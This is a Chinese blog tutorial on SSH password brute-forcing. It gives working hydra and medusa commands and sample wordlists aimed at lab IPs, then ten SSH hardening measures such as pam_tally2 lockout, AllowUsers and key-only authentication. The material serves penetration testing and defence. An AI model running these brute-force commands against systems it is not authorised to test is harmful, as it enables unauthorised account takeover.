SSH密码暴力破解及防御实战

前言:本文对目前流行的 SSH 密码暴力破解工具进行实战研究、分析和总结,对渗透攻击测试和安全防御具有一定的参考价值。

首先介绍几款常用的ssh暴力破解工具:
1. hydra [海德拉]
在这里插入图片描述
指定用户破解

Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
root@kali:~# hydra -l root -P pass.dic 192.168.106.134 ssh

在这里插入图片描述
用户列表破解

root@kali:~# cat userlist.txt
admin
root
tianyun
yangge
zhuzhuxia
root@kali:~# cat passlist.txt
123
abc,123
root
admin
owaspbwa
yangge
root@kali:~# hydra -L userlist.txt -P passlist.txt -t 20 192.168.106.134 ssh

在这里插入图片描述

root@kali:~# hydra -L userlist.txt -P passlist.txt -M hosts.txt ssh -o ssh-hydra.ok

在这里插入图片描述
更详细的使用方法,查看工具的使用手册

2. Medusa [美杜莎]
在这里插入图片描述
语法参数

Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT] 目标主机名称或者IP地址
-H [FILE] 包含目标主机名称或者IP地址文件
-u [TEXT] 测试的用户名
-U [FILE] 包含测试的用户名文件
-p [TEXT] 测试的密码
-P [FILE] 包含测试的密码文件
-C [FILE] 组合条目文件
-O [FILE] 日志信息文件
-e [n/s/ns] n代表空密码,s代表为密码与用户名相同
-M [TEXT] 模块执行名称
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认Tcp端口
-s 启用SSL
-r [NUM] 重试间隔时间,默认为3秒
-t [NUM] 设定线程数量
-T 同时测试的主机总数
-L 并行化,每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后,停止破解
-F 在任何主机上找到第一个有效的用户名/密码后停止审计
-q 显示模块的使用信息
-v [NUM] 详细级别(0-6)
-w [NUM] 错误调试级别(0-10)
-V 显示版本
-Z [TEXT] 继续扫描上一次

破解SSH密码

root@kali:~# medusa -M ssh -h 192.168.106.134 -u root -P passlist.txt

在这里插入图片描述

root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt

在这里插入图片描述
工具就先介绍到这里,类似的工具还有很多比如,patator、BrutesPray、MSF等,暴力破解主要还是利用字典,比较大的完善的字典会给暴力破解成功提高很大的可能性!

重点来了!!!
怎么防止暴力破解呢!
在这里总结的10点防御方法,只要完成这10点你的ssh可以说是相当安全了
1. useradd shell【推荐】

[root@tianyun ~]# useradd yangge -s /sbin/nologin

2. 密码的复杂性【推荐】

字母大小写+数字+特殊字符+20位以上+定期更换

3. 修改默认端口【推荐】

/etc/ssh/sshd_config
Port 22222

4. 限止登录的用户或组【推荐】

#PermitRootLogin yes
AllowUser yangge
[root@tianyun ~]# man sshd_config
AllowUsers AllowGroups DenyUsers DenyGroups

4. 使用sudo【推荐】

所有账户都要使用sudo来提权(一般安全性高的公司都是这样用的)
[root@yjssjm ~]# su -yjssjm   #使用yjssjm用户
[yjssjm@yjssjm ~]# sudo 命令  #每次执行命令时前面都要加sudo

5. 设置允许的IP访问【可选】

/etc/hosts.allow,例如sshd:192.168.106.167:allow
PAM基于IP限制
iptables/firewalld
只能允许从堡垒机

6. 使用DenyHosts自动统计,并将其加入到/etc/hosts.deny
7. 基于PAM实现登录限制【推荐】

模块:pam_tally2.so
功能:登录统计
示例:实现防止对sshd暴力破解
[root@tianyun ~]# grep tally2 /etc/pam.d/sshd
auth required pam_tally2.so deny=2 even_deny_root root_unlock_time=60 unlock_time=6

8. 禁用密码改用公钥方式认证

/etc/ssh/sshd_config
PasswordAuthentication no

9. 保护xshell导出会话文件【小心】
10. GRUB加密【针对本地破解】

  • 3
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值